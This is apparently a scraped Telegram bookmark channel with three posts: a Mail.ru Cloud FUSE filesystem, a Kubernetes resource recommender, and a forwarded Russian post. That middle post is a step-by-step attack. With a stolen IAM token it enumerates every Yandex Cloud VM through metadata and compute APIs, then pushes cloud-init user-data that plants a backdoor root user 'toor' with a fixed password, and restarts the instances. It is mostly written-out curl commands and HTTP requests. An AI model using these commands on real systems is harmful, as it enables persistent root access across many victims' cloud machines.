rxd_txd
307 subscribers
479 photos
25 videos
22 files
2.71K links
[
{
"channel":"rxd_txd",
"info":"my bookmarks",
"feedback":"@flsixtyfour",
"topics":[
"devops",
"linux",
"sci",
"music",
"go",
"/dev/null"
]
}
]
Download Telegram
Mail.ru Cloud filesystem written for FUSE

This is an implementation of a simple filesystem with all calls and hooks needed for normal file operations. After mounting it you'll be provided access to all your cloud files remotely stored on Mail.ru Cloud as if they were local ones. You should keep in mind that this is a network-driven FS and so it will never be as fast as any local one, but having a folder connected as remote drive in 9P/GNU Hurd fashion can be convenient at a times.

https://github.com/Adonai/MARC-FS/blob/master/README.md
#github #mailru #cloud #fuse #fs
Forwarded from Кавычка (Bo0oM)
Берем известный нам IAM_TOKEN. Получаем почту и id пользователя:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://iam.api.cloud.yandex.net/iam/v1/yandexPassportUserAccounts:byLogin?login={LOGIN}"

Получаем идентификатор инстанса:
curl -H Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/id

Забираем информацию о текущем инстансе, нас интересует folderId:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}"

С помощью folderId получаем список всех виртуальных машин в облаке:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances?folderId={folderId}"

В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.


А теперь самое интересное, получаем всю метадату для каждого инстанса:

curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}?view=FULL"

Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:

\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\n

Пушим изменения:

POST /compute/v1/instances/epd48d7l217cs3eqgb1b/updateMetadata HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 1337
content-type: application/x-www-form-urlencoded

{
"upsert": {
"serial-port-enable": "1",
...
"user-data": "#cloud-config\ndatasource:\n Ec2:\n strict_id: false\nssh_pwauth: no\nbootcmd:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\nusers:\n- name: bankprod\n sudo: ALL=(ALL) NOPASSWD:ALL\n shell: /bin/bash\n ssh-authorized-keys:\n - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEs7/GMUMCm6ncksXdcYf1+XSPkdVXvNdlUJZiJkGHBa bankprod@develop"
}
}


И делаем рестарт:


POST /compute/v1/instances/{instanceId}:restart HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 37
content-type: application/x-www-form-urlencoded

{"instanceId":"{instanceId}"}



Поздравляю. У вас десятки, а может и сотни виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
Forwarded from GitHub'ненько
Robusta KRR
Robusta KRR (Kubernetes Resource Recommender) is a CLI tool for optimizing resource allocation in Kubernetes clusters. It gathers pod usage data from Prometheus and recommends requests and limits for CPU and memory. This reduces costs and improves performance.
#k8s #devops #cloud #resources
https://github.com/robusta-dev/krr